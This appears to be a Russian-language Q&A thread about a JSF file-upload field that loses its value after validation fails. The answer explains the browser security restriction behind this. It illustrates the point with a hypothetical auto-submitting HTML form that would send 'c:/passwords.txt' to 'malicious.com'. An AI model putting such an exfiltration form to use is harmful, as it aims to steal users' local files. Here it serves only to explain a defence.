JSFзначение потеряно после неудачной проверки - PullRequest
3 голосов
/ 11 февраля 2011

Я обнаружил, что значение пути к файлу загрузки теряется после проверки следующего кода Есть ли способ сохранить значение после сбоя проверки? спасибо.

<t:inputFileUpload id="uploadFile" value="#{backBean.uploadFile}" storage="file" required="false" />

1 Ответ

4 голосов
/ 11 февраля 2011

Это невозможно.Это ограничение безопасности по HTML.Вы не можете предварительно заполнить / сохранить значение поля HTML <input type="file">.Поскольку JSF просто генерирует HTML, JSF мало что может с этим поделать.

Представьте, что это ограничение безопасности не существует, веб-сайты смогут делать следующее:

<form id="tryToGetPasswords" action="http://malicious.com" method="post" enctype="multipart/form-data">
    <input type="file" name="file" value="c:/passwords.txt" />
</form>
<script>document.getElementById('tryToGetPasswords').submit();</script>

Понимаете?

...